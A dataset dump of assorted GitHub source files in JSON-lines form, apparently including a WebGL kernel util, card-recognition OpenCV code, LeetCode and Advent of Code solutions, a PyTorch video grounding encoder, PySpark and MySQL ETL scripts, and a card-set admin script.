adjacent.\n continue\n\n # merge `axis1` and `axis2` into `axis_new`\n\n axis_new = Axis(f\"X{counter}\")\n counter += 1\n\n for v in vars1:\n shape_dict = shape_dicts[v]\n shape_dict[axis_new] = shape_dict[axis1] * shape_dict[axis2]\n del shape_dict[axis1]\n del shape_dict[axis2]\n\n order = orders[v]\n orders[v] = Order(order.axes[:order.axes_dict[axis1]] + (axis_new,) + order.axes[order.axes_dict[axis2] + 1:])\n\n var_dict[axis_new] = vars1\n del var_dict[axis1]\n del var_dict[axis2]\n\n flag_continue = True\n break\n\n if flag_continue:\n break\n\n return orders, shape_dicts\n\n\ndef texture_shape(v: Variable):\n height, width = TextureShape.get(v)\n elements_per_pixel = ChannelMode.elements_per_pixel(v)\n width = (width + elements_per_pixel - 1) // elements_per_pixel\n return height, width, elements_per_pixel\n\n\ndef texture_stride(v: Variable):\n shape = texture_shape(v)\n return tuple(mul(shape[i + 1:]) for i in range(len(shape)))\n","repo_name":"LinXueyuanStdio/hash2face","sub_path":"webdnn/src/graph_transpiler/webdnn/backend/webgl/kernels/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":15695,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"15707779309","text":"#!/usr/bin/env python\nr'''\n----------------------------- Support Functions ----------------------------------\nContains support functions used by other scripts\n\nPlease not that this script uses \"Python 3\" and the following additional libaries\n\n matplotlib, imutils, numpy, scipy, sklearn, keras, Pillow, and tensorflow\n\n Most of the other scripts have been written by \"Chibuike Okpaluba\", please read LICENSE.txt for more information.\n\n Most importantly, the contents the \"vector_illustration_processing\" folder MUST NOT be distributed beyond the staff and students at Middlesex University as it contains some\n properitory code that is still being developed.\n\n Thank you for understanding :)\n\nFOR MORE INFORMATION\n\n Contact: co607@live.mdx.ac.uk\n Subject: MDX Cards Advanded Robotics Projects 2018\n\n'''\n\n\nfrom __future__ import division\n\nimport os,sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nsys.path.insert(0,currentdir)\nsys.path.insert(0,\"{}/vector_illustration_processing\".format(currentdir))\n\nimport pi_point\nimport pi_line\nimport pi_path\n\nfrom matplotlib import pyplot as plt\nfrom imutils import paths\nimport numpy as np\nimport random\nimport json\nimport math\nimport time\nimport cv2\n\nfrom prediction.guessing import Guessing_Cards\nfrom prediction.shallownet import ShallowNet_Cards\nfrom prediction.lenet import LeNet_Cards\nfrom prediction.minivggnet import MiniVGGNet_Cards\n\nfrom support_functions import *\n\ndef process_contours(contours, in_img, out_img, prediction_model=None):\n def _get_coutour_image(img, path, contour):\n width = path.rect_info.width\n height = path.rect_info.height\n\n im_h, im_w = img.shape[:2]\n mask = np.zeros((im_h, im_w))\n cv2.drawContours(mask, [contour], -1, 255, -1)\n\n padding = 10\n top_x = max(path.rect_info.top_left.x - padding, 0)\n bottom_x = min(path.rect_info.bottom_right.x + padding, im_w)\n\n top_y = max(path.rect_info.top_left.y - padding, 0)\n bottom_y = min(path.rect_info.bottom_right.y + padding, im_h)\n\n n_mask = mask[top_y:bottom_y, top_x:bottom_x]\n n_img = img[top_y:bottom_y, top_x:bottom_x]\n \n return n_img, n_mask\n\n in_img_w, in_img_h,_ = (0, 0, 0)\n\n if len(in_img.shape) == 3:\n in_img_w, in_img_h,_ = in_img.shape\n else:\n raise ValueError(\"The input image must be of type cv2::mat bgr\")\n\n contours_list = [contour.reshape((contour.shape[0], 2)).tolist() for contour in contours]\n paths_list = [pi_path.Path(raw_point_data=[pi_point.Point(x=point[0], y=point[1]) for point in contour_points], is_closed=True) for contour_points in contours_list]\n\n filtered_paths = []\n filtered_cnts = []\n labels = []\n probs = []\n\n min_allowed_area = (in_img_w * in_img_h) * (500.0 / 66240.0)\n paths_attributes = [(path, path.rect_info.area, path.rect_info.perimeter) for path in paths_list if path.rect_info.area > min_allowed_area]\n paths_list, area_list, perimeter_list = zip(*paths_attributes)\n\n for path in paths_list:\n rect_info = path.rect_info\n\n if path.ratio < 0.6: continue\n if rect_info.area > (in_img_w * in_img_h) * (7000.0 / 66240.0): continue\n \n cnt = path.get_as_contour()\n\n n_img, n_mask = _get_coutour_image(in_img, path, cnt)\n if prediction_model is not None:\n label, prob = prediction_model.predict(n_img)\n if prob < 0.9: continue\n\n labels.append(label)\n probs.append(prob)\n\n filtered_cnts.append(cnt)\n filtered_paths.append(path)\n \n def _constrain(x, mnx, mxx):\n return min(mxx, max(x, mnx))\n \n def determine_prediction(labels, probabilities):\n f = lambda a, b : [list(filter(lambda x: x[0] == i, sorted(list(zip(a, b)), key=lambda x: x[0]))) for i in list(set(a))]\n\n def _get_prediction(foo, n):\n label, preds = list(zip(*foo))\n label = label[0]\n preds = list(sorted(preds)[-n:])\n return label, sum(preds) / float(len(preds))\n\n data = f(labels, probabilities)\n n_data = []\n\n for d in data:\n r = _get_prediction(d, 3)\n n_data.append((r[0], r[1]))\n\n return list(sorted(n_data, key=lambda x : x[1], reverse=True))\n \n preds = determine_prediction(labels, probs)\n number_labels = [\"Ace\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\"]\n\n label = \"None\"\n number = \"None\"\n probability = 1.0\n\n if len(preds) > 0:\n label, probability = preds[0]\n label = label.capitalize()\n number = number_labels[_constrain(len(filtered_paths)-1, 0, len(number_labels)-1)]\n \n cv2.drawContours(out_img, filtered_cnts, -1, (0,255,0), 1)\n return out_img, [label, number, probability]\n\ndef process_image(image_path, prediction_model=None):\n frame = cv2.imread(image_path)\n processed_frame = frame.copy()\n\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray_frame = cv2.GaussianBlur(gray_frame, (5, 5), 0)\n\n gray_mean = int(np.mean(gray_frame.ravel()))\n ret, gray_th = cv2.threshold(gray_frame, gray_mean, 255, cv2.THRESH_BINARY)\n\n kernel = np.ones((3,3),np.uint8)\n gray_th = cv2.erode(gray_th, kernel, iterations=1)\n\n _, contours, _ = cv2.findContours(gray_th, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n return process_contours(contours, frame, processed_frame, prediction_model), gray_th\n\ndef combine_images(img1, img2, pad_width=10):\n if img1.shape != img2.shape:\n raise ValueError(\"The given images must have similar shapes\")\n\n im_h, im_w, _ = img1.shape\n\n pad_width = int(pad_width)\n n_im_w = int((im_w * 2) + pad_width)\n\n n_img = np.zeros((im_h, n_im_w, 3), dtype=np.uint8)\n\n n_img[:, :im_w, :] = img1\n n_img[:, (im_w + pad_width):, :] = img2\n\n return n_img\n","repo_name":"chibike/mdx_cards_recognition","sub_path":"workspace/scripts/support_functions.py","file_name":"support_functions.py","file_ext":"py","file_size_in_byte":6200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29699814146","text":"# 문제 : 리스트에 순서대로 '월', '화', '수', '목', '금'을 한번에 담아주세요. \n# '화'가 리스트 안에 들어있는지 알려주세요.\n\na = ['월', '화', '수', '목', '금']\n\nif '화' in a:\n print('Yes')\nelse:\n print('No')\n\n# in 연산자의 결과는 bool 타입이며 확인하고자 하는 데이터가 있는 경우 True, 없는 경우 False를 반환\n# not in 연산자의 경우 반���로 출력","repo_name":"kingssik/Practice_Python","sub_path":"Quiz_list_4..py","file_name":"Quiz_list_4..py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23057593511","text":"class HouseRobberAdvanced(object):\n\n def rob(self, nums):\n if len(nums) == 0:\n return 0\n if len(nums) < 4:\n return max(nums)\n return max(self.houseRobberAdvanced(nums[1:]),\n self.houseRobberAdvanced(nums[:-1]))\n\n def houseRobberAdvanced(self, nums):\n self.maxValueTable = [None for num in nums]\n self.nums = nums\n return self._houseRobberAdvanced(len(nums)-1)\n\n def _houseRobberAdvanced(self, house):\n if house < 0:\n return 0\n elif house == 0:\n return self.nums[0]\n elif house == 1:\n return max(self.nums[0], self.nums[1])\n else:\n if not self.maxValueTable[house]:\n self.maxValueTable[house] = max(self.nums[house]+\n self._houseRobberAdvanced(house-2),\n self._houseRobberAdvanced(house-1))\n return self.maxValueTable[house]\n\n\nfrom nose.tools import assert_equals, assert_raises\n\nclass TestHouseRobberAdvanced(object):\n\n def testHouseRobberAdvanced(self):\n houseRobberAdvanced = HouseRobberAdvanced()\n\n print (\"All test cases passed!\")\n\n\ndef main():\n testHouseRobberAdvanced = TestHouseRobberAdvanced()\n testHouseRobberAdvanced.testHouseRobberAdvanced()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Shamanyu/DataStructuresAndAlgorithms","sub_path":"LeetCode/HouseRobberAdvanced/house_robber_advanced/house_robber_advanced.py","file_name":"house_robber_advanced.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29122889913","text":"import os\n\ncurdir = os.path.dirname(os.path.abspath(__file__))\nfilename = f'{curdir}\\\\dec1.txt'\nfuel = sum([int(_)//3 - 2 for _ in open(filename, 'r').readlines()])\n\nprint(f\"First challenge: {fuel}\")\n\ndef fuelreq(mass):\n res = mass // 3 - 2\n f = res\n while f > 0:\n r = f // 3 - 2\n if r <= 0:\n return res\n res += r\n f = r\n \n\nmodules = [int(_) for _ in open(filename,'r').readlines()]\n\nfuel = 0\nfor m in modules:\n fuel += fuelreq(m)\n\nprint(f\"Second challenge: {fuel}\")\n\nprint(sum([fuelreq(int(_)) for _ in open(filename,'r').readlines()]))","repo_name":"jhogstrom/adventofcode","sub_path":"2019/dec1.py","file_name":"dec1.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34611084404","text":"import torch\nfrom torch import nn\nimport numpy as np\nimport math, copy, time\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass LearnPositionalEncoding(nn.Module):\n\n def __init__(self, d_model, max_len=64, dropout=0.1):\n super(LearnPositionalEncoding, self).__init__()\n self.pos_embed = nn.Embedding(max_len, d_model)\n\n nn.init.uniform_(self.pos_embed.weight)\n\n self.dropout = nn.Dropout(p=dropout)\n\n\n def forward(self, q):\n bsz_q, d_model, q_frm = q.shape\n assert q_frm == self.pos_embed.weight.shape[0], (q_frm,self.pos_embed.weight.shape)\n q_pos = self.pos_embed.weight.clone()\n q_pos = q_pos.unsqueeze(0)\n q_pos = q_pos.expand(bsz_q, q_frm, d_model).transpose(1,2)\n # q_pos = q_pos.contiguous().view(bsz_q, q_frm, n_head, d_k)\n q = q + q_pos\n return self.dropout(q)\n\n\nclass FrameAvgPool(nn.Module):\n\n def __init__(self, input_size, hidden_size, kernel_size, stride, use_position, num_clips):\n super(FrameAvgPool, self).__init__()\n self.vis_conv = nn.Conv1d(input_size, hidden_size, 1, 1)\n self.avg_pool = nn.AvgPool1d(kernel_size, stride)\n\n if use_position:\n self.pos_embed = LearnPositionalEncoding(d_model=hidden_size, max_len=num_clips)\n else:\n self.pos_embed = None\n\n def forward(self, visual_input):\n vis_h = torch.relu(self.vis_conv(visual_input))\n vis_h = self.avg_pool(vis_h)\n if self.pos_embed:\n vis_h = self.pos_embed(vis_h) \n return vis_h\n\n\n# dynamic graph from knn\ndef knn(x, y=None, k=5):\n if y is None:\n y = x\n inner = -2 * torch.matmul(y.transpose(2, 1), x) \n xx = torch.sum(x ** 2, dim=1, keepdim=True)\n yy = torch.sum(y ** 2, dim=1, keepdim=True)\n pairwise_distance = -xx - inner - yy.transpose(2, 1)\n _, idx = pairwise_distance.topk(k=k, dim=-1) \n return idx\n\n\ndef get_graph_feature(x, prev_x=None, k=5, idx_knn=None):\n batch_size = x.size(0)\n num_points = x.size(2) \n x = x.view(batch_size, -1, num_points)\n if idx_knn is None:\n idx_knn = knn(x=x, y=prev_x, k=k) # (batch_size, num_points, k)\n else:\n k = idx_knn.shape[-1]\n idx_base = torch.arange(0, batch_size, device=x.device ).view(-1, 1, 1) * num_points\n idx = (idx_knn + idx_base).view(-1)\n _, num_dims, _ = x.size()\n x = x.transpose(2, 1).contiguous() \n feature = x.view(batch_size * num_points, -1)[idx, :]\n feature = feature.view(batch_size, num_points, k, num_dims)\n x = x.view(batch_size, num_points, 1, num_dims).repeat(1, 1, k, 1)\n feature = torch.cat((feature, x), dim=3).permute(0, 3, 1, 2)\n return feature\n\n\nclass GCNeXtBlock(nn.Module):\n def __init__(self, channel_in, channel_out, k=3, groups=32, width_group=4):\n super(GCNeXtBlock, self).__init__()\n self.k = k\n width = width_group * groups\n self.tconvs = nn.Sequential(\n nn.Conv1d(channel_in, width, kernel_size=1), nn.ReLU(True),\n nn.Conv1d(width, width, kernel_size=3, groups=groups, padding=1), nn.ReLU(True),\n nn.Conv1d(width, channel_out, kernel_size=1),\n ) # temporal graph\n\n self.sconvs = nn.Sequential(\n nn.Conv2d(channel_in * 2, width, kernel_size=1), nn.ReLU(True),\n nn.Conv2d(width, width, kernel_size=(1,self.k), groups=groups, padding=(0,(self.k-1)//2)), nn.ReLU(True),\n nn.Conv2d(width, channel_out, kernel_size=1),\n ) # semantic graph\n\n self.relu = nn.ReLU(True)\n\n def forward(self, x):\n identity = x # residual\n tout = self.tconvs(x) # conv on temporal graph\n\n x_f = get_graph_feature(x, k=self.k) \n sout = self.sconvs(x_f) # conv on semantic graph\n sout = sout.max(dim=-1, keepdim=False)[0] \n\n out = tout + 2 * identity + sout \n return self.relu(out)\n\n\nclass GCNeXtMoudle(nn.Module):\n def __init__(self, channel_in, channel_out, k_num, groups, width_group):\n super(GCNeXtMoudle, self).__init__()\n\n self.backbone = nn.Sequential(\n GCNeXtBlock(channel_in, channel_out, k_num, groups, width_group),\n )\n\n def forward(self, x):\n gcnext_feature = self.backbone(x)\n return gcnext_feature\n\n\nclass FeatureEncoder(nn.Module):\n\n def __init__(self, cfg):\n super(FeatureEncoder, self).__init__()\n self.frame_encoder = FrameAvgPool(cfg.FRAME.INPUT_SIZE, cfg.FRAME.HIDDEN_SIZE,cfg.FRAME.KERNEL_SIZE,cfg.FRAME.STRIDE,\n cfg.FRAME.USE_POSITION,cfg.FRAME.NUM_CLIPS)\n self.gcnext_layer = GCNeXtMoudle(cfg.GCNEXT.INPUT_SIZE, cfg.GCNEXT.OUTPUT_SIZE, cfg.GCNEXT.K_NUM, cfg.GCNEXT.GROUP_NUM, cfg.GCNEXT.WIDTH_GROUP)\n self.lstm_encoder = nn.LSTM(cfg.LSTM.TXT_INPUT_SIZE, cfg.LSTM.TXT_HIDDEN_SIZE//2 if cfg.LSTM.BIDIRECTIONAL else cfg.LSTM.TXT_HIDDEN_SIZE,\n num_layers=cfg.LSTM.NUM_LAYERS, bidirectional=cfg.LSTM.BIDIRECTIONAL, batch_first=True)\n\n\n def forward(self, visual_input, textual_input, textual_mask):\n visual_input = visual_input.transpose(1, 2) \n vis_frame = self.frame_encoder(visual_input) # B, C, T\n vis_out = self.gcnext_layer(vis_frame) # B, C, T \n self.lstm_encoder.flatten_parameters()\n txt_out = self.lstm_encoder(textual_input)[0] * textual_mask # B, L, C\n return vis_out, txt_out\n\n","repo_name":"Huntersxsx/RaNet","sub_path":"lib/models/feature_encoder/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"18"} +{"seq_id":"25151944193","text":"import sys\nfrom pyspark.sql import SparkSession\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"\"\"\n Usage: sample_query.py \n\n Assumes you have a parquet file stored in .\n \"\"\", file=sys.stderr)\n sys.exit(-1)\n\n parquet_file = sys.argv[1]\n\n spark = SparkSession.builder.appName(\"SampleQuery\").getOrCreate()\n\n sequencesParquetFile = spark.read.parquet(parquet_file)\n\n filteredSequences = sequencesParquetFile.filter(\n sequencesParquetFile.sequence.contains(\"EMIL\"))\n filteredSequences.show()\n\n spark.stop()\n","repo_name":"benchiverton/protseqspark","sub_path":"Scripts/sample_query.py","file_name":"sample_query.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"20897663388","text":"import argparse\nimport math\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(description='Convert videos in a sequence of images')\n parser.add_argument('-width',\n dest='width',\n required=True,\n help='Width')\n parser.add_argument('-height',\n dest='height',\n required=True,\n help='Height')\n parser.add_argument('-depth',\n dest='depth',\n required=True,\n help='Depth')\n parser.add_argument('-mass',\n dest='mass',\n required=True,\n help='Mass')\n\n args = parser.parse_args()\n\n width = float(args.width)\n height = float(args.height)\n depth = float(args.depth)\n mass = float(args.mass)\n\n i_xx = mass*(math.pow(height,2) + math.pow(depth,2))/12.\n i_yy = mass*(math.pow(width,2) + math.pow(depth,2))/12.\n i_zz = mass*(math.pow(width,2) + math.pow(height,2))/12.\n i_xy = 0\n i_xz = 0\n i_yz = 0\n\n print()\n print(\"Moment of inertia\")\n print(\"Ixx: \", i_xx)\n print(\"Iyy: \", i_yy)\n print(\"Izz: \", i_zz)\n print(\"Ixy: \", i_xy)\n print(\"Ixz: \", i_xz)\n print(\"Iyz: \", i_yz)","repo_name":"nesvera/robotao","sub_path":"robotao_description/script/box_moment_inertia.py","file_name":"box_moment_inertia.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"36656901965","text":"\"\"\"day22_sort_characters_by_frequency.py\n Created by Aaron at 23-May-20\"\"\"\nclass Solution:\n def frequencySort(self, s: str) -> str:\n # app1\n # c1, c2 = Counter(s), {}\n # for k,v in c1.items():\n # c2.setdefault(v, []).append(k*v)\n # return \"\".join([\"\".join(c2[i]) for i in range(len(s), -1, -1) if i in c2])\n\n # app2\n # s_set = set(s)\n # table = []\n # for val in s_set:\n # table.append((val, s.count(val)))\n # table.sort(key = lambda x: x[1], reverse = True)\n # return ''.join(map(lambda x: x[0] * x[1], table))\n\n # app3\n # return \"\".join([char * times for char, times in collections.Counter(str).most_common()])\n\n # app4\n result = ''\n bucket = [None for i in range(len(s) + 1)]\n hash_map = {}\n for char in s:\n hash_map[char] = hash_map.get(char, 0) + 1\n for key, value in hash_map.items():\n if bucket[value] is None:\n bucket[value] = []\n bucket[value].append(key)\n for i in reversed(range(len(bucket))):\n if bucket[i] is not None:\n for char in bucket[i]:\n result += char * i\n return result\n\nrun=Solution()\na=\"tree\"\nprint(run.frequencySort(a))\n# app1 use Counter to count frequency and then use frequency as key and value with character*value, lastly join all in reversed order of number\n# app2 use set to find all character, save tuple of character and frequency in list, sort it in reverse order\n# app3 use Counter most_common function to get and sort\n# app4 bucket sort","repo_name":"aaron6347/leetcode_May30Days","sub_path":"venv/day22_sort_characters_by_frequency.py","file_name":"day22_sort_characters_by_frequency.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70725078121","text":"import pymysql\nimport petl as etl\nimport pandas as pd\nimport os\n\n\ndef main():\n workdir = os.getcwd()\n\n # Step Extraction\n df = pd.read_csv(workdir+\"/kota-kab-indo.csv\", pages='all')\n\n table_name = \"kota_indo\"\n\n conn = pymysql.connect(\n host='127.0.0.1',\n user='root',\n database='chatbot_uii',\n port=3306,\n connect_timeout=5\n )\n\n conn.cursor().execute('SET SQL_MODE=ANSI_QUOTES')\n\n # Step Transformasi\n df.columns = ['no','nama_kota','provinsi']\n\n # Step Load DF to Table MySQL\n table = etl.fromdataframe(df)\n etl.todb(table, conn, table_name, create=True, drop=True)\n\n conn.close()\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Yuriowindiatmoko2401/chatbot-uii-2","sub_path":"pre_utils/kota_kab_load.py","file_name":"kota_kab_load.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7075988955","text":"#This file stores the factory info of the cards & it's the Admin for the user to edit/delete the card sets and cards\r\n\r\nimport time\r\n#time module is imported\r\n\r\ncardSets = [\"TV Shows\"]\r\n#The names of each set of cards\r\n\r\nsetColours = [\"blue\"]\r\n#The colours of the cards for each set\r\n\r\ncardCategories = [\r\n\t#TV Shows\r\n\t[\"Date First Aired\", \"Number of Series\", \"Viewing Figures of First Episode\", \"Popularity\"],\r\n]\r\n#This array contains name of each category for each card set\r\n\r\ncardDateCategories = [\r\n\t[1],\r\n]\r\n#Specifies which categories from each set are date values (e.g. [1] = Category1)\r\n\r\ncards = [\r\n\t#TV Shows\r\n\t[\r\n\t\t[\"Doctor Who\", \"Doctor Who.jpg\", \"2005-03-26\", 11, 10.1, 58],\r\n\t\t[\"Agents of S.H.I.E.L.D.\", \"Agents of SHIELD.jpg\", \"2013-09-24\", 5, 2.71, 89],\r\n\t\t[\"Gotham\", \"Gotham.jpg\", \"2014-09-22\", 5, 8.21, 80],\r\n\t\t[\"Red Dwarf\", \"Red Dwarf.png\", \"1988-02-15\", 12, 3, 76],\r\n\t\t[\"Sherlock\", \"Sherlock.jpeg\", \"2010-07-25\", 4, 11.3, 82],\r\n\t\t[\"Friday Night Dinner\", \"Friday Night Dinner.png\", \"2011-02-25\", 5, 1.5, 81],\r\n\t\t[\"The Inbetweeners\", \"The Inbetweeners.jpg\", \"2008-05-01\", 3, 1.2, 92],\r\n\t\t[\"Big Bang Theory\", \"Big Bang Theory.jpg\", \"2007-09-24\", 11, 3.3, 81],\r\n\t\t[\"Star Trek\", \"Star Trek.jpg\", \"1966-09-08\", 3, 1, 85],\r\n\t\t[\"Star Trek: The Next Generation\", \"Star Trek TNG.jpg\", \"1987-09-28\", 7, 11.5, 82],\r\n\t\t[\"Dad's Army\", \"Dad's Army.jpg\", \"1968-07-31\", 9, 0.2, 81],\r\n\t\t[\"Life On Mars\", \"Life On Mars.jpg\", \"2006-01-09\", 2, 5.7, 100],\r\n\t\t[\"Merlin\", \"Merlin.jpg\", \"2008-09-20\", 5, 7.1, 82],\r\n\t\t[\"The Office\", \"The Office.jpg\", \"2001-07-09\", 2, 3, 83],\r\n\t\t[\"Not Going Out\", \"Not Going Out.jpg\", \"2006-10-06\", 9, 3.7, 78],\r\n\t\t[\"Top Gear\", \"Top Gear.jpg\", \"2002-10-20\", 25, 3.4, 87],\r\n\t\t[\"The IT Crowd\", \"The IT Crowd.jpg\", \"2006-02-03\", 4, 1.8, 75],\r\n\t\t[\"Spaced\", \"Spaced.png\", \"1999-09-24\", 2, 1.4, 100],\r\n\t\t[\"Outnumbered\", \"Outnumbered.jpg\", \"2007-08-28\", 5, 7.5, 59],\r\n\t\t[\"Blackadder\", \"Blackadder.jpg\", \"1983-06-15\", 4, 2.3, 81],\r\n\t\t[\"Broadchurch\", \"Broadchurch.jpg\", \"2013-03-04\", 3, 1, 93],\r\n\t\t[\"Luther\", \"Luther.jpg\", \"2010-05-04\", 4, 0.3, 89],\r\n ]\r\n#2D array with [card entity][values]\r\n]\r\n\r\n\r\nchangeCardSetOptions = [\"displaying all cards\", \"renaming a card set\", \"adding a new card set\", \"deleting a whole card set\", \"editing a card\", \"adding a card\", \"deleting a card\"]\r\n#This array contains the options for changing a card set or a card\r\n\r\nyesOrNo = [\"Yes\", \"No\"]\r\n#This array can be used in Select function for a yes or no query\r\n\r\ncolours = [\"white\", \"blue\", \"green\", \"red\", \"purple\", \"yellow\", \"orange\", \"black\", \"grey\", \"gold\", \"silver\"]\r\n#Stores a list of colours in an array for the user to change or add them (specific for CSS files)\r\n\r\n\r\ntextFile = open(\"Cards.js\", \"r\")\r\njsCode = textFile.read()\r\ntextFile.close()\r\n#The file Cards.js is opened as a 'read only' file and stores the text in the file as jsCode\r\n\r\ntextFile = open(\"Cards.py\", \"w\")\r\ntextFile.write(jsCode)\r\ntextFile.close()\r\n#The file Cards.py is opened and rewrites the file with the contents of the variable jsCode\r\n\r\nfrom Cards import *\r\n#All variables are imported from the module Cards (i.e. the file Cards.py)\r\n\r\n\r\ndef Submit():\r\n #This function writes to the JavaScript file 'Cards' with the updated changes made in this program of the arrays cardSets, setColours, cardCategories, cardDateCategories & cards and \r\n textFile = open(\"Cards.js\", \"w\")\r\n #The file is opened as 'read and write' file\r\n \r\n textFile.write(\"cardSets = \" + str(cardSets))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"setColours = \" + str(setColours))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cardCategories = \" + str(cardCategories ))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cardDateCategories = \" + str(cardDateCategories))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cards = \" + str(cards))\r\n #The variables are written in so that HTML and JavaScript can read the changes in this program\r\n\r\n textFile.close()\r\n #The file is closed\r\n\r\n time.sleep(1)\r\n #1 second delay\r\n print(\"All the changes you've made have been saved!\")\r\n #Information telling the user that the updated inputs have been saved]\r\n time.sleep(1)\r\n #1 second delay\r\n\r\n\r\ndef Select(text, array, onlyShowFirstIndex):\r\n #This function displays a number options that must be stored in an array for the user to type in the number of that option and that (number - 1) is returned (-1: so it can be used as an index of an array)\r\n #The arguments:\r\n # - text = queries the user on what they want to select\r\n # - array = where the options for the user to select are stored\r\n # - onlyShowFirstIndex = if the array is 2D, only the first index in each specific list maybe shown (True or False)\r\n loop = True\r\n #Variable ensures the code inside the while iteration keep repeating\r\n while loop == True:\r\n print(text)\r\n # Argument 'text' is displayed\r\n n = 1\r\n #The number that the user has to type will increase for the different items in array\r\n for i in array:\r\n #For every index in array\r\n if onlyShowFirstIndex == True:\r\n #This is for 2D arrays (i.e cards)\r\n print(\"Type \" + str(n) + \" for \" + str(i[0]))\r\n else:\r\n #This is for 1D arrays (e.g. cardSets)\r\n print(\"Type \" + str(n) + \" for \" + str(i))\r\n #Displays the instruction on which number to type for the current index of i\r\n n = n + 1\r\n #n is incremented by 1\r\n #The for loop above displays the options from an array by displaying each index with instructions to the user on how to 'select' them\r\n Input = input()\r\n if Input == \"save\":\r\n Submit()\r\n #The function 'Submit()' is called if the user types in 'save'\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif Input == \"exit\":\r\n quit()\r\n #The whole program closes if the user types in 'exit'\r\n elif Input == \"menu\":\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif (int(Input) - 1 >= 0) and (int(Input) - 1 <= len(array)):\r\n #If the user enters a number that's in of range of 'array'\r\n Input = int(Input) - 1\r\n #Input is decremented by 1\r\n loop = False\r\n #The while iteration ends\r\n else:\r\n print(\"Invalid input! Please try again.\")\r\n Select(text, array, onlyShowFirstIndex)\r\n #Select is recalled after a message to the user\r\n return Input\r\n #The function returns Input\r\n\r\ndef SaveOrQuit(value):\r\n #This function takes 'value' and checks if its value is \"save\" and \"exit\"\r\n if value == \"save\":\r\n Submit()\r\n #The function 'Submit()' is called if the user types in 'save'\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif value == \"exit\":\r\n quit()\r\n #The whole program closes if the user types in 'exit'\r\n elif value == \"menu\":\r\n MainProgram()\r\n #Returns to the start of the program\r\n\r\ndef MainProgram():\r\n #The code inside this function is a recursion loop that keeps repeating until the user types 'exit'\r\n print(\"\")\r\n #Empty line displayed\r\n time.sleep(1)\r\n #Program delays for 1 second\r\n changeInput = Select(\"Main menu options:\", changeCardSetOptions, False)\r\n #Displays all the main options for the user to select which are all stored in the array changeCardSetOptions\r\n print(\"\")\r\n #Empty line displayed\r\n \r\n if changeInput == 0:\r\n #If the user inputs 1 (Select function always decrements the input by 1)\r\n for n in range(0, len(cardSets)):\r\n print(cardSets[n])\r\n print(\"In order of [NAME, IMAGE, CATEGORY 1, CATEGORY 2, CATEGORY 3, CATEGORY 4]\")\r\n for i in cards[n]:\r\n print(i)\r\n print(\"\")\r\n #For each card set, the name of the card set, info on what each index of is and every card with their information is displayed\r\n enter = input(\"Press ENTER to go back to the main menu.\")\r\n #This input allows time for the user to look at cards for as long as they want\r\n SaveOrQuit(enter)\r\n #This function is called with parameter of enter\r\n\r\n elif changeInput == 1:\r\n #If the user inputs 2\r\n setInput = Select(\"Select the card set you want to edit:\", cardSets, False)\r\n #The returned value of this function is assigned to setInput\r\n \r\n print(\"Enter new name for \" + cardSets[setInput] + \" below:\")\r\n temp = cardSets[setInput]\r\n #Old name of card set stored temporarily\r\n newValue = str(input())\r\n #User enters their new name for the card set\r\n SaveOrQuit(newValue)\r\n #Function called with parameter of newValue\r\n \r\n cardSets[setInput] = newValue\r\n #The value of the card set's name is replaced with the new value\r\n \r\n time.sleep(1)\r\n print(\"'\" + temp + \"' is now renamed as '\" + newValue + \"'.\")\r\n #After a 1 second delay, the user is told that their card set has been sucessfully renamed\r\n\r\n elif changeInput == 2:\r\n #If the user inputs 3\r\n newName = str(input(\"Enter the name of your new card set: \"))\r\n SaveOrQuit(newName)\r\n #newName stores the value of the user's input of the new card set's name\r\n\r\n inputColour = Select(\"Choose a background colour for this set of cards.\", colours, False)\r\n #The returned value of an option of colours to choose for the cards are assigned to inputColour\r\n\r\n emptyFour = [\"\", \"\", \"\", \"\"]\r\n cardCategories.append(emptyFour)\r\n #A list with four empty string values added to the array cardCategories\r\n cardDateCategories.append([])\r\n #Empty list appended to cardDateCategories\r\n for n in range(0, 4):\r\n numberInput = input(\"Enter the name of Category \" + str(n + 1) + \" for '\" + str(cardSets[len(cardSets) - 1]) + \"': \")\r\n SaveOrQuit(numberInput)\r\n cardCategories[len(cardCategories) - 1][n] = numberInput\r\n #This for iteration allows the user to enter a value for each category and adds it 